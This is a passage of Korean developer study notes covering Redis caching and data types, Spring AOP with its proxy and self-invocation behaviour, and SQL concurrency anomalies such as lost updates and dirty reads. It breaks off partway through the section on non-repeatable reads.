jaemeon's note

인 메모리가 빠른데 어떻게 활용해야하나요

jaemeon — Sat, 14 Mar 2026 17:50:20 +0900

Topic (오늘의 주제)

Redis(Remote Dictionary Server) 는 인메모리(In-Memory) 에 데이터를 저장하는 키-값(Key-Value) 저장소이다. 디스크 I/O 없이 메모리에서만 동작해 응답 속도가 매우 빠르며, 캐시, 세션 스토어, 실시간 랭킹, 메시지 브로커 등 다양한 용도로 쓰인다.

Why (왜 사용하는가? 왜 중요한가?)

문제점: DB(MySQL, PostgreSQL 등)는 디스크 기반이라 조회·갱신이 상대적으로 느리고, 트래픽이 몰리면 DB 부하와 응답 지연이 발생한다. 세션을 애플리케이션 메모리에만 두면 서버를 여러 대 쓰는 환경에서 공유가 어렵다.
해결책: 자주 쓰는 데이터를 Redis에 두어 캐시로 활용하면 DB 부하를 줄이고 응답 속도를 높일 수 있다. 세션을 Redis에 저장하면 여러 서버가 같은 세션 저장소를 쓰는 구조를 만들 수 있다.
면접 포인트: "캐시를 왜 쓰나요?", "Redis와 DB의 차이", "Redis 자료 구조와 사용 사례"를 설명할 수 있으면 좋다.

1. Redis가 필요한 상황 (등장 배경)

DB만 쓸 때의 한계

디스크 I/O: RDBMS는 데이터를 디스크에 저장하고, 조회 시 디스크에서 읽어오므로 상대적으로 느리다.
반복 조회: "인기 상품 목록", "조회수 많은 게시글"처럼 같은 데이터를 자주 조회하면 DB에 같은 쿼리가 반복해서 날아가 부하가 커진다.
세션 공유: 서버가 여러 대일 때 세션을 각 서버 메모리에만 두면, 사용자가 다른 서버로 가면 로그인이 풀리는 문제가 생긴다.

Redis를 쓰면 얻는 것

목적	설명
캐시	자주 쓰는 데이터를 메모리에 두어 DB 조회를 줄이고 응답 속도를 높인다.
세션 스토어	로그인 세션을 Redis에 저장해 여러 서버가 같은 세션을 공유한다.
실시간 랭킹	Sorted Set으로 점수 기반 순위를 빠르게 조회·갱신한다.
메시지 큐 / Pub-Sub	채팅, 알림처럼 실시간으로 메시지를 주고받을 수 있다.

2. Redis 핵심 특징

인메모리(In-Memory)

데이터를 메모리(RAM) 에 저장한다. 디스크 접근보다 훨씬 빠르다.
메모리 크기에 제한이 있으므로, 전체 데이터를 Redis에만 두지 않고 캐시·세션·랭킹 등 적절한 용도로만 사용하는 것이 좋다.

키-값(Key-Value) 구조

기본적으로 키(Key) 로 값(Value) 를 저장하고 조회한다.
키는 문자열, 값은 문자열뿐 아니라 여러 자료 구조(리스트, 해시, 집합, 정렬 집합 등)를 지원한다.

단일 스레드 모델

명령 처리는 단일 스레드로 동작한다. 한 번에 하나의 명령만 처리하므로 race condition 없이 명령이 원자적(atomic) 으로 실행된다.
I/O 멀티플렉싱(epoll 등)으로 여러 클라이언트 연결을 동시에 처리한다.

TTL(Time To Live)

키에 만료 시간을 줄 수 있다. 시간이 지나면 자동으로 삭제되어 캐시 만료를 구현하기 쉽다.

SET session:user123 "..." EX 3600   # 3600초(1시간) 후 만료
EXPIRE key 60                        # 기존 키에 60초 TTL 설정

영속성 옵션 (선택)

기본은 메모리만 사용하지만, RDB 스냅샷 또는 AOF(Append Only File) 로 디스크에 저장해 재시작 후 복구할 수 있다. 캐시만 쓰는 경우는 비활성화해도 된다.

3. Redis 데이터 구조(자료형)

Redis는 단순 문자열뿐 아니라 여러 자료형을 지원한다. 용도에 맞는 타입을 선택하면 된다.

자료형	설명	대표 명령	사용 예
String	문자열, 숫자, 직렬화된 객체	`SET`, `GET`, `INCR`, `DECR`	캐시, 카운터, 세션
List	순서 있는 문자열 리스트	`LPUSH`, `RPUSH`, `LRANGE`	최근 목록, 메시지 큐
Set	순서 없고 중복 없는 집합	`SADD`, `SMEMBERS`, `SINTER`	좋아요 유저 집합, 태그
Hash	필드-값 쌍 (객체처럼)	`HSET`, `HGET`, `HGETALL`	사용자 프로필, 설정
Sorted Set	점수로 정렬된 집합	`ZADD`, `ZRANGE`, `ZRANK`	랭킹, 실시간 순위

String — 캐시, 세션, 카운터

SET user:1000 "{ \"name\": \"홍길동\" }" EX 3600
GET user:1000

INCR view:article:42    # 조회수 1 증가
DECR stock:product:99   # 재고 1 감소

Hash — 객체 단위 저장

HSET user:1000 name "홍길동" email "hong@example.com" age 25
HGET user:1000 name
HGETALL user:1000

List — 순서 있는 목록

LPUSH recent:user:1000 "article:1" "article:2"   # 왼쪽에 추가
LRANGE recent:user:1000 0 9                       # 최근 10개 조회

Sorted Set — 랭킹

ZADD ranking:game 1000 "userA" 950 "userB" 1100 "userC"
ZREVRANGE ranking:game 0 9 WITHSCORES   # 1~10위 조회
ZRANK ranking:game "userB"              # userB의 순위

4. 사용 사례 정리

1) 캐시 (Cache)

DB 조회 결과, API 응답 등을 Redis에 저장해 두고, 같은 요청이 오면 DB 대신 Redis에서 반환한다.
TTL을 두어 오래된 데이터는 자동으로 삭제하고, 필요 시 DB에서 다시 조회해 캐시를 갱신한다.

2) 세션 스토어 (Session Store)

로그인한 사용자의 세션 ID → 세션 데이터를 Redis에 저장한다.
서버가 여러 대여도 같은 Redis를 바라보면 세션이 공유된다.

3) 실시간 랭킹

Sorted Set에 점수(score)와 멤버(회원ID, 상품ID 등)를 넣고, ZREVRANGE로 상위 N명을 조회한다.
게임 점수, 인기 검색어, 인기 글 등에 활용한다.

4) 카운터 / Rate Limiting

INCR로 요청 횟수, 조회수 등을 증가시키고, TTL과 함께 쓰면 "1분당 N회 제한" 같은 제한을 구현할 수 있다.

5) Pub/Sub (메시지 브로커)

채널에 메시지를 발행(publish)하고, 구독자(subscribe)가 실시간으로 받는다.
채팅, 알림, 이벤트 전파 등에 사용한다.

5. Spring에서 Redis 사용하기

의존성 (Spring Boot)

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-data-redis</artifactId>
</dependency>

기본 클라이언트는 Lettuce이다. (과거에는 Jedis가 많이 쓰였음)

설정 (application.yml)

spring:
  data:
    redis:
      host: localhost
      port: 6379
      password: ${REDIS_PASSWORD:}   # 비어 있으면 미사용
      timeout: 2000ms

RedisTemplate 사용

@RequiredArgsConstructor
@Service
public class ProductCacheService {
    private final RedisTemplate<String, Object> redisTemplate;

    public void saveProduct(Long id, Product product) {
        String key = "product:" + id;
        redisTemplate.opsForValue().set(key, product, Duration.ofMinutes(30));
    }

    public Product getProduct(Long id) {
        String key = "product:" + id;
        return (Product) redisTemplate.opsForValue().get(key);
    }
}

캐시 어노테이션으로 사용

@Cacheable(value = "products", key = "#id")
public Product getProduct(Long id) {
    return productRepository.findById(id).orElseThrow();
}

@Cacheable: 메서드 결과를 캐시에 저장하고, 같은 키로 호출 시 캐시에서 반환한다.
@CacheEvict: 캐시 항목을 지울 때 사용한다. (예: 수정·삭제 시)

6. 캐시 전략 간단 정리

전략	설명	특징
Cache-Aside	애플리케이션에서 캐시를 먼저 조회하고, 없으면 DB 조회 후 캐시에 넣음	가장 많이 사용, 캐시 미스 시 DB 부하
Write-Through	DB에 쓸 때마다 캐시에도 동기적으로 반영	캐시와 DB가 항상 일치, 쓰기 비용 증가
Write-Behind	DB에 쓰고 나중에 캐시를 비동기로 갱신	쓰기 성능 좋음, 일시적 불일치 가능

실무에서는 Cache-Aside를 가장 많이 사용하고, TTL을 두어 오래된 데이터는 자연스럽게 만료시키는 방식이 흔하다.

7. 주의점과 한계

휘발성

기본적으로 메모리에만 있으므로 서버 재시작 시 데이터가 사라질 수 있다. 중요한 데이터는 Redis만 믿지 말고 DB를 원본으로 두고, Redis는 캐시·세션 등으로만 쓰는 것이 안전하다.

메모리 제한

메모리 크기 한도가 있으므로 무한히 넣지 말고, TTL을 두거나 eviction 정책(maxmemory-policy)을 설정해 오래된/덜 쓰는 키를 지우도록 한다.

단일 스레드

하나의 명령이 오래 걸리면 그동안 다른 명령이 대기한다. 무거운 연산이나 대량의 키를 한 번에 조회하는 패턴은 피하는 것이 좋다.

클러스터/복제

고가용성과 확장이 필요하면 Redis Cluster, Replication 등을 고려한다. 주니어 단계에서는 단일 인스턴스 또는 Managed Redis(AWS ElastiCache 등)로 시작해도 충분하다.

8. 예상 꼬리 질문 정리

Q1. Redis와 RDBMS(MySQL 등)의 차이는?

Redis는 인메모리 키-값 저장소로, 디스크 I/O 없이 메모리에서 동작해 읽기·쓰기가 매우 빠릅니다. 주로 캐시, 세션, 랭킹에 사용합니다. RDBMS는 디스크 기반이고, 트랜잭션·정규화·복잡한 쿼리(JOIN 등)를 지원해 영구 저장과 데이터 무결성에 적합합니다. Redis는 보조 저장소·캐시로, DB와 함께 쓰는 경우가 많습니다.

Q2. Redis는 단일 스레드인데 왜 빠른가요?

명령 처리는 단일 스레드라 한 번에 하나의 명령만 실행되어 lock 없이 원자적으로 동작합니다. 실제로는 I/O 멀티플렉싱으로 여러 클라이언트 연결을 동시에 받고, 데이터가 메모리에 있어 디스크 I/O가 없기 때문에 전체적으로 매우 빠릅니다.

Q3. 캐시에 Redis를 쓰는 이유는?

메모리 기반이라 조회·저장이 빠르고, TTL을 줄 수 있어 만료된 데이터를 자동으로 지울 수 있습니다. 다양한 자료형(String, Hash, List, Set, Sorted Set)을 지원해 단순 키-값뿐 아니라 리스트·랭킹 등도 캐시하기 좋습니다.

요약

Redis는 인메모리 키-값 저장소로, 캐시, 세션, 랭킹, Pub/Sub 등에 널리 쓰인다.
특징: 인메모리, 키-값, 단일 스레드(원자적 연산), TTL 지원.
자료형: String, List, Set, Hash, Sorted Set — 용도에 맞게 선택한다.
Spring에서는 spring-boot-starter-data-redis와 RedisTemplate, 또는 @Cacheable 등으로 연동한다.
캐시 전략은 Cache-Aside를 많이 쓰고, TTL과 eviction 정책으로 메모리를 관리한다.
주의: 휘발성·메모리 한도·무거운 명령 자제. 중요한 데이터는 DB를 원본으로 두고 Redis는 보조로 사용한다.

참고 자료

Spring_30) 관점에 따라 다르게... 보이지만은 않을수도

jaemeon — Mon, 23 Feb 2026 09:04:48 +0900

Topic (오늘의 주제)

AOP(Aspect-Oriented Programming, 관점 지향 프로그래밍) 는 핵심 비즈니스 로직과 애플리케이션 전반에 걸쳐 반복되는 횡단 관심사(부가 기능) 를 분리하여 모듈화하는 프로그래밍 기법이다. Spring AOP는 프록시(Proxy) 패턴을 활용해 런타임에 부가 기능을 적용하며, @Transactional, 로깅, 권한 검사 등이 이 방식으로 동작한다.

Why (왜 사용하는가? 왜 중요한가?)

문제점: 로깅, 권한 검사, 성능 측정(시간 측정) 같은 코드가 여러 서비스·컨트롤러에 반복되면 비즈니스 로직과 섞여 가독성과 유지보수가 어려워진다.
해결책: 핵심 로직과 부가 기능(횡단 관심사)을 분리해, 한 곳에서 부가 기능을 정의하고 필요한 메서드에만 적용할 수 있게 한다.
면접 포인트: @Transactional이 어떻게 동작하는지, 왜 같은 클래스 안에서 호출하면 동작하지 않는지(내부 호출 문제) 를 설명하려면 AOP와 프록시 동작 원리 이해가 필수다.

"AOP(관점 지향 프로그래밍)에 대해 설명해 주시겠어요?"
"AOP는 핵심 비즈니스 로직과 애플리케이션 전반에 걸쳐 나타나는 횡단 관심사(부가 기능)를 분리하여 모듈화하는 프로그래밍 기법입니다. 로깅, 시간 측정, 권한 검사 같은 코드가 비즈니스 로직에 섞여 중복되는 것을 막아줍니다. Spring AOP는 주로 프록시(Proxy) 패턴을 활용해 런타임 시점에 동작하며, @Transactional이나 인터셉터 등도 이 AOP 개념을 기반으로 동작합니다."

1. AOP가 필요한 상황 (등장 배경)

횡단 관심사(Cross-cutting Concern)란?

여러 클래스·메서드에 공통으로 들어가는 부가 기능을 말한다. 비즈니스 로직과는 별개지만, 여러 곳에 반복해서 작성해야 하는 코드다.

흔한 예:

로깅 (메서드 진입/종료, 파라미터·반환값 기록)
트랜잭션 관리 (@Transactional)
권한/인증 검사
실행 시간 측정 (성능 모니터링)
예외 변환·로깅

AOP 없이 작성하면 생기는 문제

@Service
public class OrderService {
    public Order createOrder(OrderRequest request) {
        // 매번 로깅 코드 반복
        log.info("createOrder 호출, request={}", request);
        long start = System.currentTimeMillis();

        try {
            Order order = orderRepository.save(...);  // 핵심 로직
            log.info("createOrder 완료, orderId={}", order.getId());
            return order;
        } finally {
            log.info("실행 시간: {}ms", System.currentTimeMillis() - start);
        }
    }

    public Order getOrder(Long id) {
        log.info("getOrder 호출, id={}", id);
        long start = System.currentTimeMillis();
        try {
            Order order = orderRepository.findById(id);  // 핵심 로직
            return order;
        } finally {
            log.info("실행 시간: {}ms", System.currentTimeMillis() - start);
        }
    }
}

문제점:

중복: 로깅·시간 측정 코드가 메서드마다 반복된다.
가독성 저하: 핵심 로직과 부가 기능이 섞여 있어 의도가 불명확하다.
유지보수 어려움: 로깅 형식을 바꾸려면 모든 메서드를 수정해야 한다.

AOP로 분리한 뒤

@Service
public class OrderService {
    public Order createOrder(OrderRequest request) {
        return orderRepository.save(...);  // 핵심 로직만
    }

    public Order getOrder(Long id) {
        return orderRepository.findById(id);  // 핵심 로직만
    }
}

@Aspect
@Component
public class LoggingAspect {
    @Around("execution(* com.example.service.*.*(..))")
    public Object logAndMeasure(ProceedingJoinPoint joinPoint) throws Throwable {
        log.info("{} 호출, args={}", joinPoint.getSignature(), joinPoint.getArgs());
        long start = System.currentTimeMillis();
        try {
            Object result = joinPoint.proceed();
            log.info("실행 시간: {}ms", System.currentTimeMillis() - start);
            return result;
        } catch (Throwable e) {
            log.error("예외 발생", e);
            throw e;
        }
    }
}

효과:

서비스 클래스는 비즈니스 로직만 담당한다.
로깅·시간 측정은 한 곳(Aspect) 에만 정의하고, 적용 대상을 Pointcut 으로 지정한다.

2. AOP 핵심 용어 정리

부가 기능을 어디에, 무엇을, 언제 적용할지 정의하는 데 쓰는 용어다.

용어	설명 (쉽게)
Target	부가 기능이 적용되는 대상 객체 (실제 비즈니스 로직을 가진 클래스)
Advice	어떤 부가 기능을 넣을지에 대한 구체적인 로직 (로깅, 트랜잭션 시작/커밋 등)
Join Point	Advice가 끼어들 수 있는 실행 시점 (Spring AOP는 메서드 실행 시점만 지원)
Pointcut	어느 메서드에 Advice를 적용할지 정하는 조건 (예: 특정 패키지, 특정 어노테이션)
Aspect	Advice + Pointcut 을 묶어서 하나의 관심사(부가 기능 모듈)로 정의한 것

한 줄로:
Pointcut으로 "어디에" 적용할지 정하고, Advice로 "무엇을(어떤 로직을)" 넣을지 작성한다. 이걸 Aspect로 묶어서 관리한다.

3. Advice의 5가지 종류

메서드 실행을 기준으로, 언제 부가 기능이 실행될지에 따라 다섯 가지로 나뉜다.

종류	실행 시점	사용 예
@Before	타겟 메서드 호출 전	파라미터 검증, 로깅
@AfterReturning	타겟 메서드가 정상 반환한 후	반환값 로깅
@AfterThrowing	예외가 발생했을 때	예외 로깅, 알림
@After	정상/예외 관계없이 메서드 종료 후	리소스 정리
@Around	메서드 실행 전·후 모두 제어	트랜잭션, 로깅, 시간 측정 (가장 많이 사용)

간단한 코드 예시

@Aspect
@Component
public class ExampleAspect {

    @Before("execution(* com.example.service.*.*(..))")
    public void before(JoinPoint joinPoint) {
        log.info("메서드 실행 전: {}", joinPoint.getSignature());
    }

    @AfterReturning(pointcut = "execution(* com.example.service.*.*(..))", returning = "result")
    public void afterReturning(JoinPoint joinPoint, Object result) {
        log.info("정상 반환 후, result={}", result);
    }

    @AfterThrowing(pointcut = "execution(* com.example.service.*.*(..))", throwing = "ex")
    public void afterThrowing(JoinPoint joinPoint, Exception ex) {
        log.error("예외 발생: {}", ex.getMessage());
    }

    @Around("execution(* com.example.service.*.*(..))")
    public Object around(ProceedingJoinPoint joinPoint) throws Throwable {
        log.info("전처리");
        Object result = joinPoint.proceed();  // 실제 메서드 실행
        log.info("후처리");
        return result;
    }
}

[!note] Around를 가장 많이 쓰는 이유
@Around는 joinPoint.proceed() 호출 전후로 자유롭게 로직을 넣을 수 있어, 트랜잭션 시작/커밋, 실행 시간 측정, 예외 래핑 등을 한 번에 처리하기 좋다. @Transactional도 내부적으로 Around 형태의 Advice로 동작한다.

4. Spring AOP의 동작 원리: 프록시(Proxy)

Spring AOP는 런타임에 타겟 객체를 프록시 객체로 감싼 뒤, 클라이언트가 그 프록시를 통해 호출하도록 한다. 그래서 호출이 들어오면 프록시가 먼저 Advice(부가 기능)를 실행하고, 그다음 실제 타겟 메서드를 호출한다.

호출 흐름

[클라이언트]  ──호출──▶  [AOP 프록시 객체]  ──위임──▶  [실제 Target 객체]
                            │
                            ├─ Advice 실행 (로깅, 트랜잭션 등)
                            └─ target.메서드() 호출

클라이언트는 타겟을 직접 부르는 것이 아니라 프록시를 부른다.
프록시가 부가 기능을 수행한 뒤, 내부적으로 실제 객체의 메서드를 호출한다.
따라서 Spring AOP는 메서드 호출 시점에만 부가 기능을 넣을 수 있고, 이를 런타임 위빙이라고 부른다.

프록시가 적용된 코드 (개념)

// 스프링이 만드는 프록시 (개념적 코드)
public class OrderService$$SpringProxy extends OrderService {
    private final OrderService target;  // 실제 대상 객체

    @Override
    public Order createOrder(OrderRequest request) {
        // 1. 부가 기능 실행 (트랜잭션 시작, 로깅 등)
        transactionManager.begin();
        log.info("createOrder 호출");
        // 2. 실제 타겟 메서드 호출
        Order result = target.createOrder(request);
        // 3. 부가 기능 마무리 (커밋, 로깅 등)
        transactionManager.commit();
        return result;
    }
}

5. 내부 호출(Self-Invocation) 문제 — 반드시 이해할 것

[!important] 주의: 내부 호출 시 AOP가 적용되지 않음
같은 클래스 안에서 자기 자신의 다른 메서드를 호출하면, 그 호출은 프록시를 거치지 않고 타겟 객체의 메서드를 직접 호출하게 된다.
그래서 그 내부 메서드에 걸린 @Transactional 이나 다른 AOP가 전혀 동작하지 않는다.

왜 그런가?

AOP가 적용되려면 반드시 프록시를 통한 호출이어야 한다.
클라이언트 → 프록시 → 타겟 순서로만 호출이 들어올 때 Advice가 실행된다.
같은 객체 안에서 this.다른메서드()를 호출하면 this는 프록시가 아니라 실제 객체이기 때문에, 프록시를 타지 않는다.

문제가 되는 코드 예시

@Service
public class OrderService {

    public void methodA() {
        // methodB()를 내부에서 호출 → 프록시를 거치지 않음!
        this.methodB();  // @Transactional 적용 안 됨
    }

    @Transactional
    public void methodB() {
        // DB 작업
    }
}

외부에서 orderService.methodB()를 호출하면 → 프록시를 타므로 @Transactional 동작 ✅
같은 클래스의 methodA()에서 this.methodB()를 호출하면 → 프록시를 타지 않으므로 @Transactional 동작 ❌

해결 방법

1) 부가 기능이 필요한 메서드를 다른 빈으로 분리 (권장)

@Service
public class OrderService {
    private final OrderTxHelper orderTxHelper;

    public OrderService(OrderTxHelper orderTxHelper) {
        this.orderTxHelper = orderTxHelper;
    }

    public void methodA() {
        orderTxHelper.methodB();  // 다른 빈 호출 → 프록시를 타므로 @Transactional 동작
    }
}

@Service
public class OrderTxHelper {
    @Transactional
    public void methodB() {
        // DB 작업
    }
}

2) 자기 자신의 프록시를 주입받아 호출 (비권장, 구조가 복잡해짐)

@Service
public class OrderService {
    @Autowired
    private ApplicationContext context;  // 또는 self-injection

    public void methodA() {
        OrderService self = context.getBean(OrderService.class);
        self.methodB();  // 프록시를 통해 호출
    }

    @Transactional
    public void methodB() { ... }
}

실무에서는 1) 별도 서비스/헬퍼로 분리하는 방식을 추천한다.

6. Spring AOP vs AspectJ

구분	Spring AOP	AspectJ
기반	프록시 패턴	자바용 AOP 구현체 (위빙)
위빙 시점	런타임 (프록시 생성)	컴파일 타임 / 로드 타임
Join Point	메서드 실행만	메서드 호출·실행, 생성자, 필드 접근 등
적용 대상	스프링 빈만	모든 자바 객체
설정	스프링 설정만으로 사용 가능	별도 도구/플러그인 필요

정리:

일상적인 로깅, 트랜잭션, 권한 체크는 Spring AOP로 충분하다.
생성자 호출, 필드 접근 등 메서드 외부에 부가 기능을 붙여야 하면 AspectJ를 고려한다.

7. 흔한 실수와 오해

"트랜잭션이 왜 안 먹지?"

원인: 같은 클래스 안에서 @Transactional이 없는 메서드가, @Transactional이 붙은 메서드를 내부에서 호출하고 있는 경우다.
이유: 내부 호출은 프록시를 거치지 않아 트랜잭션 Advice가 실행되지 않는다.
대응: 트랜잭션이 필요한 부분을 별도 빈(서비스/헬퍼) 으로 분리하고, 그 빈의 메서드를 호출하도록 변경한다.

8. 예상 꼬리 질문 정리

Q1. Spring AOP는 어떤 방식으로 동작하나요?

런타임에 프록시 패턴으로 동작합니다. 스프링은 AOP가 적용된 빈에 대해 프록시 객체를 만들고, 클라이언트는 타겟 대신 이 프록시를 호출하게 됩니다. 프록시가 먼저 Advice(부가 기능) 를 실행한 뒤, 실제 타겟 메서드를 호출합니다.

Q2. 내부 호출 시 @Transactional이 동작하지 않는 이유와 해결 방법은?

Spring AOP는 프록시를 통한 호출에만 적용됩니다. 같은 클래스 안에서 this.메서드()를 호출하면 프록시를 거치지 않고 타겟을 직접 호출하기 때문에 AOP가 적용되지 않습니다.
해결: 트랜잭션이 필요한 로직을 별도 빈(클래스) 으로 분리하고, 그 빈을 주입받아 호출하면 프록시를 타므로 @Transactional이 정상 동작합니다.

Q3. Spring AOP와 AspectJ의 차이는?

Spring AOP는 스프링 빈에 대해 런타임에 프록시를 만들어 메서드 실행 시점에만 부가 기능을 적용합니다.
AspectJ는 컴파일/로드 타임 위빙을 사용하며, 메서드 호출·생성자·필드 접근 등 다양한 Join Point를 지원하고, 스프링 빈이 아닌 일반 자바 객체에도 적용할 수 있는 AOP 구현체입니다.

요약

AOP는 핵심 비즈니스 로직과 횡단 관심사(로깅, 트랜잭션, 권한 등) 를 분리해 모듈화하는 기법이다.
Pointcut으로 적용할 메서드를 정하고, Advice로 부가 기능 로직을 작성하며, Aspect로 묶어 관리한다.
Advice 종류: Before, AfterReturning, AfterThrowing, After, Around(가장 활용도 높음).
Spring AOP는 프록시를 이용한 런타임 위빙이며, 메서드 실행에만 적용된다.
내부 호출(같은 클래스에서 this.메서드())은 프록시를 타지 않아 @Transactional 등 AOP가 적용되지 않는다. 해결은 트랜잭션 로직을 별도 빈으로 분리하는 것이다.
Spring AOP는 빈 + 메서드 실행 중심, AspectJ는 다양한 Join Point와 컴파일/로드 타임 위빙을 지원한다.

참고 자료

SQL_24) 동시라는 것은 SQL에 좋지 않다.

jaemeon — Fri, 30 Jan 2026 15:32:28 +0900

Topic (오늘의 주제)

데이터베이스 동시성 이슈(Concurrency Issues)는 여러 트랜잭션이 동시에 같은 데이터에 접근할 때 발생하는 문제입니다. Lost Update, Dirty Read, Non-Repeatable Read, Phantom Read 등의 문제가 발생할 수 있으며, 이를 해결하기 위해 락(Lock) 메커니즘과 격리 수준(Isolation Level)을 사용합니다. 동시성과 데이터 일관성 사이의 트레이드오프를 이해하고 적절한 격리 수준을 선택하는 것이 중요합니다.

Why (왜 사용하는가? 왜 중요한가?)

현대의 데이터베이스는 여러 사용자가 동시에 접근하는 환경입니다. 여러 트랜잭션이 동시에 같은 데이터를 읽거나 수정할 때, 적절한 제어가 없으면 데이터의 일관성이 깨지고 잘못된 결과가 발생할 수 있습니다. 예를 들어, 두 사용자가 동시에 계좌 잔액을 조회하고 출금하면, 한 사용자의 출금이 반영되지 않아 잔액이 잘못 계산될 수 있습니다.
동시성 이슈를 해결하기 위해 락 메커니즘과 격리 수준을 사용하지만, 이는 성능과 일관성 사이의 트레이드오프를 수반합니다. 격리 수준이 높을수록 데이터 일관성은 보장되지만 동시성이 저하되고, 격리 수준이 낮을수록 동시성은 향상되지만 데이터 일관성 문제가 발생할 수 있습니다.
Lost Update, Dirty Read, Non-Repeatable Read, Phantom Read 등의 동시성 문제와 이를 해결하는 방법, 락의 종류와 동작 원리, 데드락의 발생 원인과 해결 방법을 이해해야 합니다.

1. 동시성 이슈란?

동시성 이슈의 정의

동시성 이슈(Concurrency Issues)는 여러 트랜잭션이 동시에 같은 데이터에 접근할 때 발생하는 데이터 일관성 문제입니다.

동시성 이슈가 발생하는 이유

데이터베이스는 여러 사용자가 동시에 접근하는 환경입니다:

사용자 A의 트랜잭션: 계좌 조회 → 출금
사용자 B의 트랜잭션: 계좌 조회 → 출금
                    ↓
            동시에 같은 데이터 접근
                    ↓
            데이터 일관성 문제 발생 가능

동시성 이슈의 종류

주요 동시성 이슈는 다음과 같습니다:

Lost Update (갱신 손실)
Dirty Read (더티 읽기)
Non-Repeatable Read (반복 불가능한 읽기)
Phantom Read (팬텀 읽기)

2. Lost Update (갱신 손실)

Lost Update의 정의

Lost Update(갱신 손실)는 두 트랜잭션이 동시에 같은 데이터를 수정할 때, 하나의 변경사항이 손실되는 문제입니다.

Lost Update 발생 예시

시나리오: 계좌 잔액 출금

-- 초기값: 계좌 잔액 = 10,000원

-- 트랜잭션 A: 3,000원 출금
BEGIN TRANSACTION;
SELECT 잔액 FROM 계좌 WHERE 계좌번호 = 'A001';
-- 결과: 10,000원

-- 트랜잭션 B (동시 실행): 5,000원 출금
BEGIN TRANSACTION;
SELECT 잔액 FROM 계좌 WHERE 계좌번호 = 'A001';
-- 결과: 10,000원 (트랜잭션 A가 아직 커밋하지 않음)

-- 트랜잭션 A
UPDATE 계좌 SET 잔액 = 잔액 - 3000 WHERE 계좌번호 = 'A001';
-- 계산: 10,000 - 3,000 = 7,000원
COMMIT;  -- 잔액 = 7,000원

-- 트랜잭션 B
UPDATE 계좌 SET 잔액 = 잔액 - 5000 WHERE 계좌번호 = 'A001';
-- 계산: 10,000 - 5,000 = 5,000원 (트랜잭션 A의 변경사항 무시!)
COMMIT;  -- 잔액 = 5,000원

-- 예상값: 10,000 - 3,000 - 5,000 = 2,000원
-- 실제값: 5,000원 (트랜잭션 A의 변경사항 손실!)

Lost Update의 문제점

데이터 정확성 손실: 실제로는 2,000원이어야 하는데 5,000원으로 잘못 저장됨
비즈니스 로직 위반: 출금 금액의 합계가 실제 차감 금액과 다름
데이터 무결성 훼손: 계좌 잔액이 실제와 다름

Lost Update 해결 방법

1. 배타 락(Exclusive Lock) 사용

-- 트랜잭션 A
BEGIN TRANSACTION;
SELECT 잔액 FROM 계좌 WHERE 계좌번호 = 'A001' FOR UPDATE;
-- 배타 락 획득 (다른 트랜잭션 대기)

UPDATE 계좌 SET 잔액 = 잔액 - 3000 WHERE 계좌번호 = 'A001';
COMMIT;  -- 락 해제

-- 트랜잭션 B (트랜잭션 A 커밋 후 실행)
BEGIN TRANSACTION;
SELECT 잔액 FROM 계좌 WHERE 계좌번호 = 'A001' FOR UPDATE;
-- 결과: 7,000원 (트랜잭션 A의 변경사항 반영)

UPDATE 계좌 SET 잔액 = 잔액 - 5000 WHERE 계좌번호 = 'A001';
COMMIT;  -- 잔액 = 2,000원 (정확함!)

2. 낙관적 락(Optimistic Lock) 사용

-- 버전 컬럼 추가
ALTER TABLE 계좌 ADD COLUMN version INT DEFAULT 0;

-- 트랜잭션 A
BEGIN TRANSACTION;
SELECT 잔액, version FROM 계좌 WHERE 계좌번호 = 'A001';
-- 결과: 잔액 = 10,000, version = 0

UPDATE 계좌 
SET 잔액 = 잔액 - 3000, version = version + 1
WHERE 계좌번호 = 'A001' AND version = 0;
-- 성공: 1행 업데이트
COMMIT;

-- 트랜잭션 B
BEGIN TRANSACTION;
SELECT 잔액, version FROM 계좌 WHERE 계좌번호 = 'A001';
-- 결과: 잔액 = 7,000, version = 1

UPDATE 계좌 
SET 잔액 = 잔액 - 5000, version = version + 1
WHERE 계좌번호 = 'A001' AND version = 1;
-- 성공: 1행 업데이트
COMMIT;  -- 잔액 = 2,000원 (정확함!)

3. Dirty Read (더티 읽기)

Dirty Read의 정의

Dirty Read(더티 읽기)는 커밋되지 않은 데이터를 읽는 문제입니다. 한 트랜잭션이 데이터를 수정한 후 커밋하지 않은 상태에서, 다른 트랜잭션이 그 데이터를 읽으면 Dirty Read가 발생합니다.

Dirty Read 발생 예시

시나리오: 주문 금액 수정

-- 초기값: 주문 금액 = 36,000원

-- 트랜잭션 A: 주문 금액 수정
BEGIN TRANSACTION;
UPDATE 주문 SET 총금액 = 50,000 WHERE 주문ID = 'O100';
-- 아직 커밋하지 않음

-- 트랜잭션 B (READ UNCOMMITTED 격리 수준)
SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
BEGIN TRANSACTION;
SELECT 총금액 FROM 주문 WHERE 주문ID = 'O100';
-- 결과: 50,000원 (커밋되지 않은 데이터를 읽음 - Dirty Read!)

-- 트랜잭션 A: 오류 발생으로 롤백
ROLLBACK;  -- 총금액 = 36,000원으로 복구

-- 트랜잭션 B가 읽은 데이터는 잘못된 데이터!
-- 실제로는 36,000원인데 50,000원으로 잘못 인식

Dirty Read의 문제점

잘못된 데이터 기반 의사결정: 커밋되지 않은 데이터를 기반으로 비즈니스 로직 실행
데이터 일관성 훼손: 롤백된 데이터를 다른 트랜잭션이 사용
정확성 보장 불가: 읽은 데이터가 실제로 존재하지 않을 수 있음

Dirty Read 해결 방법

READ COMMITTED 격리 수준 사용

-- 트랜잭션 A
BEGIN TRANSACTION;
UPDATE 주문 SET 총금액 = 50,000 WHERE 주문ID = 'O100';
-- 아직 커밋하지 않음

-- 트랜잭션 B (READ COMMITTED)
SET TRANSACTION ISOLATION LEVEL READ COMMITTED;
BEGIN TRANSACTION;
SELECT 총금액 FROM 주문 WHERE 주문ID = 'O100';
-- 결과: 36,000원 (커밋된 데이터만 읽음 - Dirty Read 방지!)

-- 트랜잭션 A
COMMIT;  -- 총금액 = 50,000원으로 커밋

-- 트랜잭션 B (재조회)
SELECT 총금액 FROM 주문 WHERE 주문ID = 'O100';
-- 결과: 50,000원 (커밋된 데이터 읽음)

4. Non-Repeatable Read (반복 불가능한 읽기)

Non-Repeatable Read의 정의

Non-Repeatable Read(반복 불가능한 읽기)는 같은 트랜잭션 내에서 같은 쿼리를 반복 실행했을 때 다른 결과가 나오는 문제입니다.

Non-Repeatable Read 발생 예시

시나리오: 상품 가격 조회

-- 초기값: 상품 가격 = 18,000원

